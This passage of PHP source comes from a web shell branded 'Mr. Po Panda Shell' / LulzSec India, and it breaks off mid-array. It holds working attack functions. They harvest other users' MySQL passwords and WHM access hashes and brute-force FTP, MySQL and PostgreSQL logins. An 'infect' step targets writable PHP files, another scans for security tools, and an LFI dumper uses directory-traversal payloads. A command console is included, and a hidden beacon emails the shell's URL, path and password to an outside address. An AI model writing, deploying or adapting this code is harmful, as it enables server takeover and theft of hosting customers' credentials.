668 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
669 /* End Required */
670 /* End Circle Text Styles */
671 </style>
672
673
674<center><marquee bgcolor='#080510' width='30%'><span style='font-size: 25px;'><b>
675<span style='color:White;font-family:Iceland;text-shadow:red 0px 0px 5px' 'font-size:='' 20pt;'=''>Powered by LulzSec India</span></marquee></center>
676<body>";
677
678@ini_set('display_errors',0);
679function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
680 $ar0=explode($marqueurDebutLien, $text);
681 $ar1=explode($marqueurFinLien, $ar0[$i]);
682 return trim($ar1[0]);
683}
684 echo "<center>";
685$d0mains = @file('/etc/named.conf');
686$domains = scandir("/var/named");
687
688if ($domains or $d0mains)
689{
690 $domains = scandir("/var/named");
691 if($domains) {
692echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
693$count=1;
694$dc = 0;
695$list = scandir("/var/named");
696foreach($list as $domain){
697if(strpos($domain,".db")){
698$domain = str_replace('.db','',$domain);
699$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
700$dirz = '/home/'.$owner['name'].'/.my.cnf';
701$path = getcwd();
702
703if (is_readable($dirz)) {
704copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
705$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
706$password=entre2v2($p,'password="','"');
707echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
708$dc++;
709}
710
711}
712}
713echo '</table>';
714$total = $dc;
715echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
716echo '</center>';
717}else{
718$d0mains = @file('/etc/named.conf');
719 if($d0mains) {
720echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
721$count=1;
722$dc = 0;
723$mck = array();
724foreach($d0mains as $d0main){
725 if(@eregi('zone',$d0main)){
726 preg_match_all('#zone "(.*)"#',$d0main,$domain);
727 flush();
728 if(strlen(trim($domain[1][0])) >2){
729 $mck[] = $domain[1][0];
730 }
731 }
732}
733$mck = array_unique($mck);
734$usr = array();
735$dmn = array();
736foreach($mck as $o) {
737 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
738 $usr[] = $infos['name'];
739 $dmn[] = $o;
740}
741array_multisort($usr,$dmn);
742$dt = file('/etc/passwd');
743$passwd = array();
744foreach($dt as $d) {
745 $r = explode(':',$d);
746 if(strpos($r[5],'home')) {
747 $passwd[$r[0]] = $r[5];
748 }
749}
750$l=0;
751$j=1;
752foreach($usr as $r) {
753$dirz = '/home/'.$r.'/.my.cnf';
754$path = getcwd();
755if (is_readable($dirz)) {
756copy($dirz, ''.$path.'/'.$r.'.txt');
757$p=file_get_contents(''.$path.'/'.$r.'.txt');
758$password=entre2v2($p,'password="','"');
759echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
760$dc++;
761 flush();
762 $l=$l?0:1;
763 $j++;
764 }
765 }
766 }
767echo '</table>';
768$total = $dc;
769echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
770echo '</center>';
771
772}
773}else{
774echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>ERROR</font><br><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>/var/named</font> or <font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>etc/named.conf</font> Not Accessible!</i></div></h3>";
775echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>Lulzsec India </font></h3>";
776
777}
778 printFooter();
779 }
780
781function actionBruteforce() {
782 printHeader();
783 if( isset($_POST['proto']) ) {
784 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
785 if( $_POST['proto'] == 'ftp' ) {
786 function bruteForce($ip,$port,$login,$pass) {
787 $fp = @ftp_connect($ip, $port?$port:21);
788 if(!$fp) return false;
789 $res = @ftp_login($fp, $login, $pass);
790 @ftp_close($fp);
791 return $res;
792 }
793 } elseif( $_POST['proto'] == 'mysql' ) {
794 function bruteForce($ip,$port,$login,$pass) {
795 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
796 @mysql_close($res);
797 return $res;
798 }
799 } elseif( $_POST['proto'] == 'pgsql' ) {
800 function bruteForce($ip,$port,$login,$pass) {
801 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
802 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
803 @pg_close($res);
804 return $res;
805 }
806 }
807 $success = 0;
808 $attempts = 0;
809 $server = explode(":", $_POST['server']);
810 if($_POST['type'] == 1) {
811 $temp = @file('/etc/passwd');
812 if( is_array($temp) )
813 foreach($temp as $line) {
814 $line = explode(":", $line);
815 ++$attempts;
816 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
817 $success++;
818 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
819 }
820 if(@$_POST['reverse']) {
821 $tmp = "";
822 for($i=strlen($line[0])-1; $i>=0; --$i)
823 $tmp .= $line[0][$i];
824 ++$attempts;
825 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
826 $success++;
827 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
828 }
829 }
830 }
831 } elseif($_POST['type'] == 2) {
832 $temp = @file($_POST['dict']);
833 if( is_array($temp) )
834 foreach($temp as $line) {
835 $line = trim($line);
836 ++$attempts;
837 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
838 $success++;
839 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
840 }
841 }
842 }
843 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
844 }
845 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
846 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
847 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
848 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
849 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
850 .'<span>Server:port</span></td>'
851 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
852 .'<tr><td><span>Brute type</span></td>'
853 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
854 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
855 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
856 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
857 .'<td><input type=text name=login value="LulzSec"></td></tr>'
858 .'<tr><td><span>Dictionary</span></td>'
859 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
860 .'</td></tr><tr><td></td><td><input type=submit value="Do it Lulz"></td></tr></form></table>';
861 echo '</div><br>';
862 printFooter();
863}
864
865
866function actionInfect() {
867 printHeader();
868 echo '<h1>Infect</h1><div class=content>';
869 if ($_POST['p1'] == 'infect') {
870 $target = $_SERVER['DOCUMENT_ROOT'];
871 function ListFiles($dir) {
872 if ($dh = opendir($dir)) {
873 $files = Array();
874 $inner_files = Array();
875 while ($file = readdir($dh)) {
876 if ($file != "." && $file != "..") {
877 if (is_dir($dir . "/" . $file)) {
878 $inner_files = ListFiles($dir . "/" . $file);
879 if (is_array($inner_files)) $files = array_merge($files, $inner_files);
880 } else {
881 array_push($files, $dir . "/" . $file);
882 }
883 }
884 }
885 closedir($dh);
886 return $files;
887 }
888 }
889 foreach (ListFiles($target) as $key => $file) {
890 $nFile = substr($file, -4, 4);
891 if ($nFile == ".php") {
892 if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
893 echo "$file<br>";
894 $i++;
895 }
896 }
897 }
898 echo "<font color=red size=14>$i</font>";
899 } else {
900 echo "<form method=post><input type=submit value=Infect name=infet></form>";
901 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
902 }
903 printFooter();
904 }
905
906
907
908function printFooter() {
909 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
910echo '</div><div style="margin:1px;background:#080510;"><div class="content" style="border-top:1px #56A3E9;">
911<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
912 <tr>
913 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value="Submit"></form></td>
914 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form></td>
915 </tr>
916 <tr>
917 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value="Submit"></form>'.$is_writable.'</td>
918 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
919 </tr>
920 <tr>
921 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value="Submit"></form></td>
922 <td><form method="post" ENCTYPE="multipart/form-data">
923 <input type=hidden name=a value="FilesMAn">
924 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
925 <input type=hidden name=p1 value="uploadFile">
926 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
927 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
928 </tr>
929</table></div></div>
930<div style="margin:5px;background:#080510;"><div class="content" style="border-top:1px #56A3E9;text-align:center;font-weight:bold;"><font color="#2052ff">Mr. Po Panda Shell '.VERSION.'<br>WE ARE: <marquee width="50%"> LulzSec india <br>WebShell BY Po Panda Edited BY Jama7</marquee></font></div></div>
931</div>
932</body></html>';
933}
934if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
935if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
936
937if(!isset($_SESSION['trimite'])){
938 $url=" IP: ".gethostbyname($_SERVER["HTTP_HOST"]);
939 $to="hackedbyjama7@gmail.com";
940$subject = "Shell 5.0 Uploaded";
941$header = "from: New Shell";
942$message = " link : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."\r\n";
943"User IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
944$message.="Path :"._file_;
945$message.="Pass :".$auth_pass;
946$sentmail = @mail($to,$subject,$message,$header);
947
948
949
950}
951function viewSize($s) {
952 if($s >= 1073741824)
953 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
954 elseif($s >= 1048576)
955 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
956 elseif($s >= 1024)
957 return sprintf('%1.2f', $s / 1024 ) . ' KB';
958 else
959 return $s . ' B';
960}
961function perms($p) {
962 if (($p & 0xC000) == 0xC000)$i = 's';
963 elseif (($p & 0xA000) == 0xA000)$i = 'l';
964 elseif (($p & 0x8000) == 0x8000)$i = '-';
965 elseif (($p & 0x6000) == 0x6000)$i = 'b';
966 elseif (($p & 0x4000) == 0x4000)$i = 'd';
967 elseif (($p & 0x2000) == 0x2000)$i = 'c';
968 elseif (($p & 0x1000) == 0x1000)$i = 'p';
969 else $i = 'u';
970 $i .= (($p & 0x0100) ? 'r' : '-');
971 $i .= (($p & 0x0080) ? 'w' : '-');
972 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
973 $i .= (($p & 0x0020) ? 'r' : '-');
974 $i .= (($p & 0x0010) ? 'w' : '-');
975 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
976 $i .= (($p & 0x0004) ? 'r' : '-');
977 $i .= (($p & 0x0002) ? 'w' : '-');
978 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
979 return $i;
980}
981function viewPermsColor($f) {
982 if (!@is_readable($f))
983 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
984 elseif (!@is_writable($f))
985 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
986 else
987 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
988}
989if(!function_exists("scandir")) {
990 function scandir($dir) {
991 $dh = opendir($dir);
992 while (false !== ($filename = readdir($dh))) {
993 $files[] = $filename;
994 }
995 return $files;
996 }
997}
998//shive function will b here //start
999
1000function actionwhm()// oops he have given there shiv now here it was shive so err
1001{
1002printHeader();
1003
1004echo '<html><head>
1005<title>WHM Cracker By Mr. Po Panda</title>
1006<meta content="text/html; charset=utf-8">
1007<meta name="author" content="panda" />
1008<link rel="SHORTCUT ICON" href="https://s13.postimg.io/x44jinbg3/12002771_737784829659099_63911911196075448_n.jpg">
1009<link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
1010<link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
1011</head><body bgcolor="#080510">';
1012echo '<center><pre style="color:#56AD15;text-shadow:blue 0px 0px 10px">
1013 _ _ _ _ _
1014 | | _ _ | | ____ ___ ___ ___ (_) ____ __| | (_) __ _
1015 | | | | | | | | |_ / / __| / _ \ / __| | | | _ \ / _` | | | / _` |
1016 | | | |_| | | | / / \__ \ | __/ | (__ | | | | | | | (_| | | | | (_| |
1017 |_| \__,_| |_| /___| |___/ \___| \___| |_| |_| |_| \__,_| |_| \__,_|
1018
1019</pre><br>
1020<h1 style="font: 20px tahoma;size:10px;color:white;text-shadow: 0px 0px 50px;">WHM Cracker By LulzSec India</h1>
1021
1022</center>';
1023
1024echo "<center>";
1025$d0mains = @file('/etc/named.conf');
1026$domains = scandir("/var/named");
1027
1028if ($domains or $d0mains)
1029{
1030 $domains = scandir("/var/named");
1031 if($domains) {
1032echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> | </th><th> Access Hash </th></tr>";
1033$count=1;
1034$dc = 0;
1035$list = scandir("/var/named");
1036foreach($list as $domain){
1037if(strpos($domain,".db")){
1038$domain = str_replace('.db','',$domain);
1039$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1040$dirz = '/home/'.$owner['name'].'/.accesshash';
1041$path = getcwd();
1042
1043if (is_readable($dirz)) {
1044copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1045$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1046$password=entre2v2($p,'password="','"');
1047echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2086' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1048$dc++;
1049}
1050
1051}
1052}
1053echo '</table>';
1054$total = $dc;
1055echo '<br><div class="result">Total WHM Found = '.$total.'</h3><br />';
1056echo '</center>';
1057}else{
1058$d0mains = @file('/etc/named.conf');
1059 if($d0mains) {
1060echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Access Hash</th></tr>";
1061$count=1;
1062$dc = 0;
1063$mck = array();
1064foreach($d0mains as $d0main){
1065 if(@eregi('zone',$d0main)){
1066 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1067 flush();
1068 if(strlen(trim($domain[1][0])) >2){
1069 $mck[] = $domain[1][0];
1070 }
1071 }
1072}
1073$mck = array_unique($mck);
1074$usr = array();
1075$dmn = array();
1076foreach($mck as $o) {
1077 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1078 $usr[] = $infos['name'];
1079 $dmn[] = $o;
1080}
1081array_multisort($usr,$dmn);
1082$dt = file('/etc/passwd');
1083$passwd = array();
1084foreach($dt as $d) {
1085 $r = explode(':',$d);
1086 if(strpos($r[5],'home')) {
1087 $passwd[$r[0]] = $r[5];
1088 }
1089}
1090$l=0;
1091$j=1;
1092foreach($usr as $r) {
1093$dirz = '/home/'.$r.'/.accesshash';
1094$path = getcwd();
1095if (is_readable($dirz)) {
1096copy($dirz, ''.$path.'/'.$r.'.txt');
1097$p=file_get_contents(''.$path.'/'.$r.'.txt');
1098$password=entre2v2($p,'password="','"');
1099echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1100$dc++;
1101 flush();
1102 $l=$l?0:1;
1103 $j++;
1104 }
1105 }
1106 }
1107echo '</table>';
1108$total = $dc;
1109echo '<br><div class="result">Total WHM Found = '.$total.'</h3><br />';
1110echo '</center>';
1111
1112}
1113}else{
1114echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1115}
1116
1117echo "<center><br><font color='white' face='Times New Roman' size='4'>
1118 <small style='font:20px tahoma;'>Powered By LulzSec India</small> </font>
1119
1120 </center>";
1121echo "</body></html>";
1122
1123printFooter();
1124}
1125
1126//end
1127
1128
1129
1130
1131function actionSecInfo() {
1132 printHeader();
1133 echo ' <span style="color:lawgreen;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;"> <h1>Server security information By LulzSec </h1><h1> LulzSec India </h1><div class=content>';
1134 function showSecParam($n, $v) {
1135 $v = trim($v);
1136 if($v) {
1137 echo '<span>'.$n.': </span>';
1138 if(strpos($v, "\n") === false)
1139 echo $v.'<br>';
1140 else
1141 echo '<pre class=ml1>'.$v.'</pre>';
1142 }
1143 }
1144 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
1145 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
1146 showSecParam('Open base dir', @ini_get('open_basedir'));
1147 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1148 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1149 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
1150 $temp=array();
1151 if(function_exists('mysql_get_client_info'))
1152 $temp[] = "MySql (".mysql_get_client_info().")";
1153 if(function_exists('mssql_connect'))
1154 $temp[] = "MSSQL";
1155 if(function_exists('pg_connect'))
1156 $temp[] = "PostgreSQL";
1157 if(function_exists('oci_connect'))
1158 $temp[] = "Oracle";
1159 showSecParam('Supported databases', implode(', ', $temp));
1160 echo '<br>';
1161 if( $GLOBALS['os'] == 'nix' ) {
1162 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1163 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1164 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1165 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
1166 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
1167 showSecParam('OS version', @file_get_contents('/proc/version'));
1168 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
1169 if(!$GLOBALS['safe_mode']) {
1170 echo '<br>';
1171 $temp=array();
1172 foreach ($userful as $item)
1173 if(which($item)){$temp[]=$item;}
1174 showSecParam('Userful', implode(', ',$temp));
1175 $temp=array();
1176 foreach ($danger as $item)
1177 if(which($item)){$temp[]=$item;}
1178 showSecParam('Danger', implode(', ',$temp));
1179 $temp=array();
1180 foreach ($downloaders as $item)
1181 if(which($item)){$temp[]=$item;}
1182 showSecParam('Downloaders', implode(', ',$temp));
1183 echo '<br/>';
1184 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
1185 showSecParam('HDD space', ex('df -h'));
1186 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
1187 }
1188 } else {
1189 showSecParam('OS Version',ex('ver'));
1190 showSecParam('Account Settings',ex('net accounts'));
1191 showSecParam('User Accounts',ex('net user'));
1192 }
1193 echo '</div>';
1194 printFooter();
1195}
1196
1197function actionlfiscan() {
1198 printHeader();
1199 print '
1200 <h3>LFI File dumper By LulzSec</h3>
1201
1202 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
1203 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
1204 <option value="1">
1205 Access Log
1206 </option>
1207
1208 <option value="2">
1209 httpd.conf
1210 </option>
1211
1212 <option value="3">
1213 Error Log
1214 </option>
1215 <option value="4">
1216 php.ini
1217 </option>
1218 <option value="5">
1219 MySQL
1220 </option>
1221 <option value="6">
1222 FTP
1223 </option>
1224 <option value="7">
1225 Environ
1226 </option>
1227 </select> Null: <select name="null">
1228 <option value="%00">
1229 Yes
1230 <option value="">
1231 No
1232 </option>
1233 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
1234 </form>';
1235 error_reporting(0);
1236 if($_POST['lfiurl']) {
1237 print "<pre>";
1238 $cheader = $_POST['custom_header'];
1239 $target = $_POST['lfiurl'];
1240 $type = $_POST['scantype'];
1241 $byte1 = $_POST['null'];
1242 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1243 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1244 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1245 $lfiaccess = array(
1246 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1247 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1248 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1249 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1250 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1251 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1252 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1253 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1254 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1255 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1256 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1257 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1258 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1259 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1260 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1261 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1262 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1263 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1264 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1265 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1266 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1267 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1268 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1269
1270 $lfierror = array(
1271 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1272 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1273 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1274 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1275 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1276 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1277 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1278 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1279 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1280 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1281 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1282 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1283 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1284 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1285 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1286 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1287 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1288 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1289 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1290 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1291 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1292 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1293 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1294
1295 $lficonfig = array(
1296 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1297 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1298 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1299 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1300 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1301 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1302 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1303 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1304 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1305 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1306 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1307 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1308 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1309 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1310 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1311 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1312 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1313 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1314 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1315 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1316 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1317 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1318 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1319 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1320 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1321 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1322 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1323 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1324 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1325 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1326 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
